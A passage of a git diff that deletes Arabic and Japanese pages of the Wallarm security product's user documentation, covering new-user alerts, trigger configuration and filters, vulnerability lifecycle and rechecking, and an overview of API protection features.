الإجراء يزيلهم بشكل نهائي من قائمة المستخدمين ولا يمكن التراجع عنه. - -## تنبيهات المستخدمين الجدد - -يمكنك الحصول على تنبيهات فورية عندما يتم إضافة مستخدمين جدد إلى حساب Wallarm الخاص بك عن طريق إعداد [محفز](../triggers/triggers.md) بشرط **تمت إضافة المستخدم**. يمكنك اختيار أن يتم إعلامك عن الأدوار المحددة أو أي إضافة لمستخدم جديد. - -يجب على أعضاء الفريق الذين يهتمون بهذه الإشعارات أن يقوموا بإعداد محفّزاتهم الخاصة. - -**مثال على المحفّز: تنبيهات المستخدم الجديد للـ Slack** - -إذا تم إضافة مستخدم جديد به دور **مسؤول** أو **محلل** إلى حساب الشركة في الواجهة الرئيسية لـ Wallarm، ستتم إرسال إشعار حول هذا الحدث إلى العنوان الإلكتروني المحدد في التكامل وإلى قناة Slack. - -![مثال على المحفّز الذي يقوم بإرسال الإشعار إلى Slack وبالبريد الإلكتروني](../../images/user-guides/triggers/trigger-example2.png) - -**لإختبار المحفّز:** - -1. افتح الواجهة الرئيسية ل Wallarm → **الإعدادات** → **المستخدمين** وأضف مستخدم جديد. -2. افتح صندوق بريدك الوارد وتأكد من أن الرسالة التالية قد وصلت: - - ![البريد الإلكتروني حول إضافة مستخدم جديد](../../images/user-guides/triggers/test-new-user-email-message.png) -3. افتح قناة Slack وتحقق من أن الإشعار التالي قد وصل من المستخدم **wallarm** : - - ``` - [Wallarm] المحفّز: تمت إضافة مستخدم جديد إلى حساب الشركة - - نوع الإخطار: إنشاء المستخدم - - تمت إضافة المستخدم الجديد John Smith ذو الدور Analyst إلى حساب الشركة بواسطة John Doe . - هذا الإخطار تم تحفيزه بواسطة المحفّز "مستخدم تمت إضافته". - - العميل: TestCompany - السحابة: EU - ``` - - * `John Smith` و `johnsmith@example.com` هي معلومات عن المستخدم الجديد - * `Analyst` هو دور المستخدم الجديد - * `John Doe` و `johndoe@example.com` هي المعلومات حول المستخدم الذي أضاف مستخدم جديد - * `مستخدم تمت إضافته` هو اسم المحفّز - * `TestCompany` هو اسم حساب شركتك في الواجهة الرئيسية لـ Wallarm - * `EU` هو السحابة الخاصة بـ Wallarm حيث تم تسجيل حساب شركتك - -## إدارة تسجيل الخروج - -أدوار [المسؤول](users.md#user-roles) و**المسؤول العام** يمكنهم تعيين وقت انتهاء التسجيل لحساب الشركة في **الإعدادات** → **العام**. ستؤثر الإعدادات على جميع مستخدمي الحساب. يمكن تعيين أوقات الخمول والأوقات النهائية. - -![التبويب العام](../../images/user-guides/settings/general-tab.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/triggers/triggers.md b/docs/latest-ar/user-guides/triggers/triggers.md deleted file mode 100644 index 1b3114641b..0000000000 --- a/docs/latest-ar/user-guides/triggers/triggers.md +++ /dev/null @@ -1,82 +0,0 @@ -# العمل مع المحفزات - -المحفزات هي أدوات تُستخدم لضبط استجابة Wallarm لأحداث مختلفة. تجمع المحفزات عددًا كبيرًا من الأحداث التي يمكن للنظام الاستجابة لها مع مجموعة متنوعة من الاستجابات المحتملة. يسمح هذا النهج الشبيه بالمُنشئ بتهيئة سلوكيات معقدة تتناسب مع الاحتياجات الأمنية الفريدة لشركتك. - -يتم تهيئة المحفزات في قسم **المحفزات** في السحاب الإلكتروني لـ[US](https://us1.my.wallarm.com/triggers) أو[EU](https://my.wallarm.com/triggers). - -![قسم تهيئة المحفزات](../../images/user-guides/triggers/triggers-section.png) - -## كيف تعمل - -يتكون كل محفز من المكونات التالية التي يمكنك تهيئتها: - -* **الشرط**: حدث يجب أن يستجيب له Wallarm. على سبيل المثال: الحصول على عدد معين من الهجمات، عنوان IP قائمة الحظر، وإضافة مستخدم جديد إلى الحساب. -* [**الفلاتر**](#understanding-filters): تفاصيل الشرط. على سبيل المثال: إذا كان الشرط هو "أكثر من 10,000 هجوم في اليوم"، ثم قم بضبط فلتر **النوع** إلى "SQLi" و**حالة الرد** إلى "200" وبالنسبة للمحفز سيعني ذلك "التصرف إذا كان هناك أكثر من 10,000 هجوم SQLi في اليوم الذي تلقى ردًا 200". -* **الرد**: الإجراء الذي يجب أداؤه إذا تم استيفاء الشرط والفلاتر المحددة. على سبيل المثال: إرسال الإخطار إلى Slack أو نظام آخر مُهيأ كـ[تكامل](../settings/integrations/integrations-intro.md)، حظر عنوان IP، أو تمييز الطلبات كهجوم بالقوة الغاشمة. - -## ما يمكنك فعله بالمحفزات - -باستخدام المحفزات، يمكنك: - -* توفير تدابير الحماية التالية لتطبيقاتك وواجهات برمجة التطبيقات: - - * [الحماية من مرتكبي الهجمات المتعددة](../../admin-en/configuration-guides/protecting-with-thresholds.md) - * [الحماية من القوة الغاشمة](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - * [الحماية من التصفح القسري](../../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) - * [حماية BOLA](../../admin-en/configuration-guides/protecting-against-bola-trigger.md) - -* إعداد تنبيهات موسعة لـ[تكاملات](../../user-guides/settings/integrations/integrations-intro.md) مختلفة. -* تحسين تمثيل الهجمات والحوادث من خلال [تجميع الضربات](../../user-guides/events/analyze-attack.md#grouping-of-hits). - -## فهم الفلاتر - -تُستخدم الفلاتر لتفصيل [الشروط](#how-it-works). على سبيل المثال، يمكنك ضبط الاستجابات لهجمات من أنواع معينة، مثل الهجمات بالقوة الغاشمة، حقن SQL وغيرها. يمكنك إضافة فلتر واحد أو أكثر في واجهة استخدام Wallarm Console وضبط قيمها. - -![الفلاتر المتاحة](../../images/user-guides/triggers/trigger-filters.png) - -الفلاتر المتاحة هي: - -* **URI** (فقط للشروط **القوة الغاشمة**، **التصفح القسري** و**BOLA**): URI كامل الذي تم إرسال الطلب إليه. يمكن تهيئة URI من خلال [منشئ URI](../../user-guides/rules/rules.md#uri-constructor) أو[نموذج التعديل المتقدم](../../user-guides/rules/rules.md#advanced-edit-form). -* **النوع** هو [نوع](../../attacks-vulns-list.md) الهجوم المكتشف في الطلب أو نوع الضعف الذي يستهدفه الطلب. -* **التطبيق** هو [التطبيق](../settings/applications.md) الذي يستقبل الطلب. -* **IP** هو عنوان IP الذي يتم إرسال الطلب منه. - - الفلتر يتوقع IPs فردية فقط، لا يسمح بالشبكات الفرعية، المواقع وأنواع المصادر. -* **النطاق** هو النطاق الذي يستقبل الطلب. -* **حالة الرد** هو رمز الرد الذي يتم إرجاعه للطلب. -* **الهدف** هو جزء من بنية التطبيق الذي يتم توجيه الهجوم إليه أو الذي يتم فيه اكتشاف الحادث. يمكن أن يأخذ القيم التالية: `Server`, `Client`, `Database`. -* **دور المستخدم** هو [دور](../../user-guides/settings/users.md#user-roles) المستخدم المضاف. يمكن أن يأخذ القيم التالية: `Deploy`, `Analyst`, `Administrator`, `Read only`, `API developer`، وإذا تم تمكين ميزة[العميل المتعدد](../../installation/multi-tenant/overview.md) - `Global Administrator`, `Global Analyst`, `Global Read Only`. - -## المحفزات الافتراضية - -تتميز الحسابات الشركاتية الجديدة بالمحفزات الافتراضية (المُهيأة مسبقًا) التالية: - -* تجميع الضربات الصادرة من نفس عنوان IP في هجوم واحد - - يجمع المحفز جميع [الضربات](../../glossary-en.md#hit) المرسلة من نفس عنوان IP في هجوم واحد في قائمة الأحداث. يعمل هذا على تحسين قائمة الأحداث ويمكّن من تحليل الهجوم بشكل أسرع. - - يتم إطلاق هذا المحفز عندما يُنشئ عنوان IP واحد أكثر من 50 ضربة خلال 15 دقيقة. يتم تجميع الضربات المرسلة بعد تجاوز العتبة فقط في الهجوم. - - يمكن أن تحتوي الضربات على أنواع هجمات مختلفة، أحمال ضارة وعناوين URL. سيتم وسم هذه معايير الهجوم بعلامة `[multiple]` في قائمة الأحداث. - - بسبب قيم معايير الضربات المجمعة المختلفة، ستكون زر[وضع علامة كإيجابية خاطئة](../events/false-attack.md#mark-an-attack-as-a-false-positive) غير متاحة للهجوم بأكمله، لكن سيظل بإمكانك وضع علامة على بعض الضربات كإيجابيات خاطئة.[التحقق النشط من الهجوم](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) سيكون أيضًا غير متاح. - - لا تُعتبر الضربات مع أنواع هجمات القوة الغاشمة، التصفح القسري، تجاوز حد الموارد، قنبلة البيانات، أو التصحيح الافتراضي في هذا المحفز. -* وضع IP في القائمة الرمادية لمدة ساعة عندما يُنشئ أكثر من 3 [أحمال ضارة](../../glossary-en.md#malicious-payload) مختلفة خلال ساعة واحدة - - [القائمة الرمادية](../ip-lists/overview.md) هي قائمة بعناوين IP المشبوهة التي يتم معالجتها من قِبل العقدة كالتالي: إذا أصدرت IP من القائمة الرمادية طلبات ضارة، تقوم العقدة بحظرها بينما تسمح بالطلبات المشروعة. على عكس القائمة الرمادية، تُشير [القائمة السوداء](../ip-lists/overview.md) إلى عناوين IP التي لا يُسمح لها بالوصول إلى تطبيقاتك على الإطلاق - تحظر العقدة حتى الحركة المرورية المشروعة الصادرة عن مصادر مدرجة في القائمة السوداء. تعد إدراج IP في القائمة الرمادية إحدى الخيارات الهادفة إلى تقليل [الإيجابيات الخاطئة](../../about-wallarm/protecting-against-attacks.md#false-positives). - - يُطلق المحفز في أي وضعية تصفية عقدة، بحيث سيتم إدراج IPs في القائمة الرمادية بغض النظر عن وضعية العقدة. - - ومع ذلك، تقوم العقدة بتحليل القائمة الرمادية فقط في وضعية **الحظر الآمن**. لحظر الطلبات الضارة الصادرة عن IPs في القائمة الرمادية، قم بتغيير وضعية العقدة[إلى وضعية الحظر الآمن](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) مع التعرف على ميزاتها أولًا. - - لا تُعتبر الضربات مع أنواع هجمات القوة الغاشمة، التصفح القسري، تجاوز حد الموارد، قنبلة البيانات، أو التصحيح الافتراضي في هذا المحفز. - -يمكنك تعطيل أي محفز افتراضي مؤقتًا. يمكنك أيضًا تعديل السلوك الذي يوفره المحفز الافتراضي - للقيام بذلك، قم بإنشاء محفزاتك المخصصة من نفس النوع. يؤدي إنشاء أي محفز مخصص إلى حذف الافتراضي، إذا قمت بحذف جميع محفزاتك المخصصة، يتم استعادة الافتراضي. - -## تعطيل وحذف المحفزات - -* لوقف إرسال الإخطارات والاستجابات للأحداث مؤقتًا، يمكنك تعطيل المحفز. سيتم عرض المحفز المعطل في القوائم مع **الكل** و**المعطل**. لإعادة تمكين إرسال الإخطارات والاستجابات للأحداث، يُستخدم خيار **تمكين**. -* لوقف إرسال الإخطارات والاستجابات للأحداث بشكل دائم، يمكنك حذف المحفز. لا يمكن التراجع عن حذف المحفز. سيتم إزالة المحفز بشكل دائم من قائمة المحفزات. - -لتعطيل أو حذف المحفز، يرجى اختيار الخيار المناسب من قائمة المحفز وتأكيد العمل إذا لزم الأمر. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/user-intro.md b/docs/latest-ar/user-guides/user-intro.md deleted file mode 100644 index 12c32c34f0..0000000000 --- a/docs/latest-ar/user-guides/user-intro.md +++ /dev/null @@ -1,47 +0,0 @@ -[img-wallarm-portal-overview]: ../images/user-guides/dashboard/dashboard.png - -[link-wallarm-console]: https://my.wallarm.com/settings/users - -[doc-use-search]: search-and-filters/use-search.md -[doc-subscriptions]: ../about-wallarm/subscription-plans.md - - -# مقدمة إلى دليل المستخدم - -يقدم هذا الدليل معلومات حول خيارات تشغيل Wallarm. تُنفذ جميع هذه العمليات باستخدام بوابة Wallarm. - -!!! info "الحقوق المطلوبة للوصول" - - يجب أن يكون لديك حق الوصول كمحلل لأداء معظم العمليات الموصوفة في هذا الدليل. يمكنك ضبط حق الوصول كمحلل على علامة التبويب *الإعدادات* → *المستخدمون* في بوابة Wallarm في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/users) أو [السحابة الأوروبية](https://my.wallarm.com/settings/users). - -## نظرة عامة على بوابة Wallarm - -![نظرة عامة على البوابة][img-wallarm-portal-overview] - -بعد تسجيل الدخول لبوابة Wallarm، سيتم تقديم الآتي لك: -* شريط جانبي بعلامات تبويب على الجانب الأيسر من البوابة. - - استخدم هذه العلامات للتنقل من مكون إلى مكون آخر في حل Wallarm. - - بعض صفحات المكونات تحتوي على علامات تبويب خاصة بها، مُرتبة أفقيًا. - - يقع زر *المساعدة والوثائق* في أسفل الشريط الجانبي. عند النقر على هذا الزر، سيتم فتح شريط جانبي لـ *المساعدة السريعة* على الجانب الأيمن من البوابة، مما يسمح لك باستكشاف معلومات المنتج المختلفة وإرسال رسالة إلى فريق الدعم. - - !!! info "ملاحظة حول توفر المكونات" - قد تبدو بوابة Wallarm الخاصة بك مختلفة عما هو موضح في لقطات الشاشة في هذا الدليل. - - يعتمد توفر بعض المكونات وعناصر واجهة المستخدم على الاشتراكات المستخدمة. - - راجع وثيقة ["الاشتراكات"][doc-subscriptions] لمزيد من التفاصيل. - -* صندوق بحث في أعلى البوابة. - - صندوق البحث متاح في كل مكان في البوابة باستثناء علامة التبويب *الأحداث*. اكتب استعلام بحث وستتم إعادة توجيهك إلى نتائج البحث في علامة التبويب *الأحداث*. - - تقدم وثيقة ["استخدام البحث"][doc-use-search] مقدمة لك حول لغة استعلام البحث وتشرح كيفية استخدام البحث. - -* زر *الإعدادات* في الزاوية العلوية اليمنى من البوابة بالقرب من صندوق البحث. يبدو هذا الزر كعجلة صغيرة. - - استخدم هذا الزر لفتح صفحة إعدادات Wallarm. - -* حسب الإجراءات التي تتخذها، قد يتم عرض بعض الأشرطة الجانبية الإضافية لك في أقصى يمين البوابة. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/vulnerabilities.md b/docs/latest-ar/user-guides/vulnerabilities.md deleted file mode 100644 index c8cac29c8e..0000000000 --- a/docs/latest-ar/user-guides/vulnerabilities.md +++ /dev/null @@ -1,90 +0,0 @@ -# إدارة الثغرات الأمنية - -الثغرات الأمنية هي عيوب في بنية تحتية قد يستغلها المهاجمون للقيام بأعمال ضارة غير مصرح بها مع نظامك. تتيح لك قسم **الثغرات الأمنية** في واجهة استخدام Wallarm تحليل وإدارة العيوب الأمنية التي اكتشفها Wallarm في نظامك. - -يستخدم Wallarm تقنيات متنوعة ل[اكتشاف](../about-wallarm/detecting-vulnerabilities.md) نقاط الضعف الأمنية، والتي تشمل: - -* **الكشف السلبي**: تم العثور على الثغرة نتيجة للحادث الأمني الذي وقع -* **التحقق من التهديدات النشطة**: تم العثور على الثغرة أثناء عملية التحقق من الهجوم -* **ماسح الثغرات الضوئي**: تم العثور على الثغرة أثناء عملية مسح [الأصول المعرضة](scanner.md) - -يخزن Wallarm تاريخ جميع الثغرات الأمنية التي تم اكتشافها في قسم **الثغرات الأمنية**: - -![علامة التبويب الثغرات](../images/user-guides/vulnerabilities/check-vuln.png) - -## دورة حياة الثغرة الأمنية - -تتضمن دورة حياة الثغرة الأمنية مراحل التقييم والتصحيح والتأكد. في كل مرحلة، يزودك Wallarm بالبيانات اللازمة لمعالجة المشكلة بشكل شامل وتعزيز نظامك. كما يتيح لك واجهة استخدام Wallarm إمكانية مراقبة وإدارة حالة الثغرة الأمنية بسهولة من خلال استخدام حالات **نشط** و**مغلق**. - -* حالة **نشط** تدل على أن الثغرة الأمنية موجودة في البنية التحتية. -* تُستخدم حالة **مغلق** عندما يتم حل الثغرة الأمنية في جانب التطبيق أو تحديدها على أنها إيجابي خاطئ. - - يحدث الإيجابي الخاطئ عندما يتم التعرف بالخطأ على كيان مشروع على أنه ثغرة أمنية. إذا واجهت ثغرة أمنية تعتقد أنها إيجابي خاطئ، يمكنك الإبلاغ عنها باستخدام الخيار المناسب في قائمة الثغرة الأمنية. سيساعد هذا في تحسين دقة اكتشاف الثغرات الأمنية لدى Wallarm. يُعيد Wallarm تصنيف الثغرة الأمنية كإيجابي خاطئ، يغير حالتها إلى **مغلق** ولا يخضعها لـ[إعادة التحقق](#verifying-vulnerabilities) مرة أخرى. - -عند إدارة الثغرات الأمنية، يمكنك تغيير حالات الثغرة الأمنية يدويًا. بالإضافة إلى ذلك، يقوم Wallarm بـ[إعادة التحقق](#verifying-vulnerabilities) من الثغرات الأمنية بانتظام ويغير حالة الثغرات الأمنية تلقائيًا حسب النتائج. - -![دورة حياة الثغرة](../images/user-guides/vulnerabilities/vulnerability-lifecycle.png) - -تُعكس التغييرات في دورة حياة الثغرة في تاريخ تغييرات حالة الثغرة. - -## تقييم وتصحيح الثغرات الأمنية - -يوفر Wallarm لكل ثغرة أمنية التفاصيل التي تساعد على تقييم مستوى الخطر واتخاذ خطوات لمعالجة المشكلات الأمنية: - -* المعرف الفريد للثغرة الأمنية في نظام Wallarm -* مستوى الخطر يشير إلى خطر عواقب استغلال الثغرة الأمنية - - يشير Wallarm تلقائيًا إلى خطر الثغرة الأمنية باستخدام إطار عمل نظام تقييم الثغرات الأمنية المشترك (CVSS)، احتمالية استغلال الثغرة الأمنية، تأثيرها المحتمل على النظام، إلخ. يمكنك تغيير مستوى الخطر إلى قيمتك الخاصة بناءً على متطلبات نظامك الفريدة وأولويات الأمان. -* [نوع الثغرة الأمنية](../attacks-vulns-list.md) الذي يتوافق أيضًا مع نوع الهجمات التي تستغل الثغرة الأمنية -* النطاق والمسار الذي توجد فيه الثغرة الأمنية -* العامل الذي يمكن استخدامه لتمرير بيانات ضارة لاستغلال الثغرة الأمنية -* الطريقة التي تم بها [اكتشاف](../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) الثغرة الأمنية -* المكون الهدف الذي قد يتأثر إذا تم استغلال الثغرة الأمنية، يمكن أن يكون **خادم**، **عميل**، **قاعدة بيانات** -* التاريخ والوقت اللذين تم فيهما اكتشاف الثغرة الأمنية -* آخر [تاريخ للتأكد](#verifying-vulnerabilities) من الثغرة الأمنية -* وصف مفصل للثغرة الأمنية، مثال على الاستغلال وخطوات التصحيح الموصى بها -* الحوادث ذات الصلة -* تاريخ تغييرات حالة الثغرة الأمنية - -يمكنك فلترة الثغرات الأمنية باستخدام [سلسلة البحث](search-and-filters/use-search.md) والفلاتر المحددة مسبقًا. - -![معلومات تفصيلية عن الثغرة](../images/user-guides/vulnerabilities/vuln-info.png) - -ينبغي إصلاح جميع الثغرات الأمنية في جانب التطبيق لأنها تجعل نظامك أكثر عرضة للأعمال الضارة. إذا لم يكن بالإمكان إصلاح ثغرة أمنية، يمكن أن يساعد استخدام قاعدة [التصحيح الافتراضي](rules/vpatch-rule.md) في منع الهجمات ذات الصلة والقضاء على خطر وقوع حادث. - -## التأكد من الثغرات الأمنية - -يقوم Wallarm بإعادة التحقق من الثغرات الأمنية النشطة والمغلقة بانتظام. ويتضمن ذلك اختبار البنية التحتية مرة أخرى لمشكلة أمان تم اكتشافها سابقًا. إذا أشارت نتيجة إعادة التحقق إلى أن الثغرة الأمنية لم تعد موجودة، يغير Wallarm حالتها إلى **مغلق**. وقد يحدث هذا أيضًا إذا كان الخادم غير متاح مؤقتًا. بالمقابل، إذا أشارت إعادة التحقق من ثغرة أمنية مغلقة إلى أنها لا تزال موجودة في التطبيق، يغير Wallarm حالتها إلى **نشط** مرة أخرى. - -تتم إعادة التحقق من الثغرات الأمنية النشطة والثغرات الأمنية المُصححة منذ أقل من شهر مرة واحدة في اليوم. الثغرات الأمنية التي تم إصلاحها منذ أكثر من شهر تُعاد فحصها مرة واحدة في الأسبوع. - -اعتمادًا على طريقة الكشف الأولي عن الثغرة الأمنية، يتم إجراء الاختبار إما بواسطة **ماسح الثغرات الضوئي** أو وحدة **التحقق من التهديدات النشطة**. يمكن التحكم في إعدادات التكوين لعملية إعادة التحقق التلقائية عبر زر [**تكوين**](#configuring-vulnerability-detection). - -لا يمكن إعادة التحقق من الثغرات الأمنية التي تم اكتشافها بشكل سلبي. - -إذا كنت بحاجة إلى إعادة التحقق من ثغرة أمنية يدويًا، يمكنك تشغيل عملية إعادة التحقق باستخدام الخيار المناسب في قائمة الثغرة الأمنية: - -![ثغرة يمكن إعادة التحقق منها](../images/user-guides/vulnerabilities/recheck-vuln.png) - -## تكوين اكتشاف الثغرات الأمنية - -يمكن ضبط تكوين اكتشاف الثغرات الأمنية باستخدام زر **تكوين**، مع الخيارات التالية: - -* يمكنك اختيار أنواع محددة من الثغرات الأمنية التي ترغب في اكتشافها باستخدام ماسح الثغرات الضوئي. بشكل افتراضي، يتم ضبط الماسح على استهداف جميع أنواع الثغرات الأمنية المتاحة. -* تمكين / تعطيل **وظائف الماسح الأساسية** والتي تشمل عمليات اكتشاف الثغرات الأمنية و[الأصول المعرضة](scanner.md). بشكل افتراضي، تكون هذه الوظائف متاحة. - - يمكنك أيضًا العثور على نفس مفتاح التبديل في قسم **الماسح**. تغيير المفتاح في قسم واحد سيعمل على تحديث الإعداد تلقائيًا في القسم الآخر أيضًا. -* تمكين / تعطيل إعادة التحقق من الثغرات الأمنية باستخدام الماسح باستخدام خيار **إعادة التحقق من الثغرات**. -* تمكين / تعطيل وحدة **التحقق من التهديدات النشطة** لاكتشاف الثغرات الأمنية وإعادة التحقق. لاحظ أن هذا الخيار يتحكم في الوحدة نفسها، وليس فقط عملية إعادة التحقق. - - بشكل افتراضي، يتم تعطيل هذه الوحدة، تعرف على أفضل الممارسات الخاصة بتكوينها [قبل التمكين](../vulnerability-detection/threat-replay-testing/setup.md). - -![إعدادات فحص الثغرة](../images/user-guides/vulnerabilities/vuln-scan-settings.png) - -بالإضافة إلى ذلك، في قسم [**الماسح**](scanner.md) من واجهة المستخدم، يمكنك التحكم في الأصول المعرضة التي يجب مسحها بواسطة ماسح الثغرات الضوئي وما هي عمليات RPS/RPM التي يتم إنشاؤها بواسطة الماسح مسموح بها لكل أصل. - -## تنزيل تقرير الثغرات الأمنية - -يمكنك تصدير بيانات الثغرة الأمنية إلى تقرير PDF أو CSV باستخدام الزر المناسب في الواجهة. سيتم إرسال التقرير إلى العنوان المحدد عبر البريد الإلكتروني. - -PDF مناسب لتقديم التقارير الغنية بصريًا مع ملخصات الثغرات الأمنية والحوادث، بينما CSV أفضل للأغراض الفنية، موفرًا معلومات مفصلة عن كل ثغرة أمنية. يمكن استخدام CSV لإ \ No newline at end of file diff --git a/docs/latest-ar/vuln-scanning-best-practices-for-future.md b/docs/latest-ar/vuln-scanning-best-practices-for-future.md deleted file mode 100644 index fbb0d41ab6..0000000000 --- a/docs/latest-ar/vuln-scanning-best-practices-for-future.md +++ /dev/null @@ -1,13 +0,0 @@ -كشف الثغرات وأفضل ممارسات التخفيف - -## اتبع أفضل الممارسات للتحقق من التهديدات النشطة - -إحدى الطرق التي يستخدمها Wallarm ل[كشف الثغرات](../about-wallarm/detecting-vulnerabilities.md) هي **التحقق من التهديدات النشطة**. - -يتيح لك **التحقق من التهديدات النشطة** تحويل المهاجمين إلى اختبارات اختراق، واكتشاف المشكلات الأمنية المحتملة من نشاطهم بينما يفتشون تطبيقاتك/APIs بحثًا عن ثغرات. يجد هذا الموديول الثغرات المحتملة عبر فحص نقاط نهايات التطبيق باستخدام بيانات هجوم حقيقية من المرور. بشكل افتراضي، تكون هذه الطريقة معطلة. - -[تعلم أفضل الممارسات لضبط موديول **التحقق من التهديدات النشطة** →](../vulnerability-detection/threat-replay-testing/setup.md) - -جرد API - -تغطية OWASP \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/schema-based-testing/explore.md b/docs/latest-ar/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index dde4ab75c4..0000000000 --- a/docs/latest-ar/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/explore.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/schema-based-testing/overview.md b/docs/latest-ar/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index a28e8470cc..0000000000 --- a/docs/latest-ar/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/overview.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/schema-based-testing/setup.md b/docs/latest-ar/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index 8c301e63c2..0000000000 --- a/docs/latest-ar/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/setup.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/security-testing-overview.md b/docs/latest-ar/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index c401c68d7f..0000000000 --- a/docs/latest-ar/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/threat-replay-testing/exploring.md b/docs/latest-ar/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index a7669b3244..0000000000 --- a/docs/latest-ar/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/exploring.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/threat-replay-testing/overview.md b/docs/latest-ar/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index 577494f288..0000000000 --- a/docs/latest-ar/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/overview.md" \ No newline at end of file diff --git a/docs/latest-ar/vulnerability-detection/threat-replay-testing/setup.md b/docs/latest-ar/vulnerability-detection/threat-replay-testing/setup.md deleted file mode 100644 index da4246847e..0000000000 --- a/docs/latest-ar/vulnerability-detection/threat-replay-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/setup.md" \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/api-protection-overview.md b/docs/latest-ja/about-wallarm/api-protection-overview.md deleted file mode 100644 index 96d1242dcc..0000000000 --- a/docs/latest-ja/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1,63 +0,0 @@ -# Wallarm API保護 - -WallarmのAPI保護は、APIおよびAIを保護する高度な機能セットです。基本的な[クラウドネイティブWAAP](../about-wallarm/waap-overview.md)保護には、すべてのAPIプロトコルのサポートと攻撃検査、L7 DDoS対策などがすでに含まれますが、現代のAPIは自動化された脅威、APIの不正使用、AIの悪用など、追加のリスクにもさらされています。Advanced API Securityバンドルは、より完全なリスク低減のための高度な機能を提供します。 - -API保護には以下が含まれます： - -* [API仕様の強制](#api-specification-enforcement)は、アップロードした仕様に基づいてAPIにセキュリティポリシーを適用するために設計されています。仕様に記載されたエンドポイントの説明と、REST APIに対して実際に行われたリクエストとの不一致を検知し、不一致が見つかった場合はあらかじめ定義されたアクションを実行します。 -* [自動BOLA保護](#automatic-bola-protection)は、OWASP API Top 10で脅威の第1位として挙げられているBOLA攻撃からの自動保護を提供します。Wallarmは脆弱なエンドポイントを自動的に特定し、列挙から保護します。 -* [API不正利用防止](#api-abuse-prevention)は、さまざまな種類の自動化された脅威からアプリケーションとAPIを保護します。行動分析に基づき、Wallarmは スクレイパー、セキュリティクローラーなどの悪意あるボットを容易に特定してブロックできます。 -* [クレデンシャルスタッフィング検知](#credential-stuffing-detection)は、アカウント乗っ取り攻撃に対する保護をさらに1層追加します。Wallarmは侵害済みクレデンシャルが単一回だけ使用された場合でも検知でき、低頻度かつ長時間にわたるクレデンシャルスタッフィング攻撃の特定に役立ちます。 -* [GraphQL API保護](#graphql-api-protection)は、バッチング、ネストしたオブジェクト、イントロスペクションなど、プロトコル固有の仕組みを悪用する専門的な攻撃からGraphQL APIを保護します。これにより、リソース枯渇、サービス拒否（DoS）、過度な情報露出などの攻撃を防止できます。 - - - -WAAPは基本のCloud Native WAAPサブスクリプションで利用可能ですが、API保護バンドルのツールは[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションの一部です。 - -## API仕様の強制 - -**API仕様の強制**は、アップロードした仕様に基づいてAPIにセキュリティポリシーを適用するために設計されています。主な機能は、仕様に記載されたエンドポイントの説明と、REST APIに対して実際に行われたリクエストとの不一致を検出することです。このような不整合が特定された場合、システムはそれに対処するためにあらかじめ定義されたアクションを実行できます。 - -![仕様 - セキュリティポリシー適用への利用](../images/api-specification-enforcement/specification-use-for-api-policies-enforcement.png) - -[詳細な説明と設定に進む→](../api-specification-enforcement/overview.md) - -## 自動BOLA保護 - -WallarmのAPI Discoveryモジュールを使用して、Broken Object Level Authorization（BOLA）脅威に対して脆弱なエンドポイントを特定し、この脆弱性を悪用しようとする攻撃から自動的に保護します。 - -![BOLAトリガー](../images/user-guides/bola-protection/trigger-enabled-state.png) - -自動BOLA保護は、[手動で作成した](../admin-en/configuration-guides/protecting-against-bola-trigger.md)BOLA保護ルールの優れた拡張または代替として機能します。自動BOLA保護を構成して、Wallarmの挙動が組織のセキュリティプロファイルに合致するようにできます。 - -[詳細な説明と設定に進む→](../admin-en/configuration-guides/protecting-against-bola.md) - -## API不正利用防止 - -**API不正利用防止**は、クレデンシャルスタッフィング、不正アカウント作成、コンテンツスクレイピングなど、APIを狙った悪意のあるボットによる行為を検知・緩和します。 - -![API不正利用防止の統計](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -**API不正利用防止**は、機械学習（ML）ベースの手法に加え、統計的・数理的な異常探索手法や直接的な不正のケースを取り入れた複合的なボット検知モデルを使用します。本モジュールは通常のトラフィックプロファイルを自己学習し、著しく異なる挙動を異常として特定します。 - -[詳細な説明と設定に進む→](../api-abuse-prevention/overview.md) - -## クレデンシャルスタッフィング検知 - 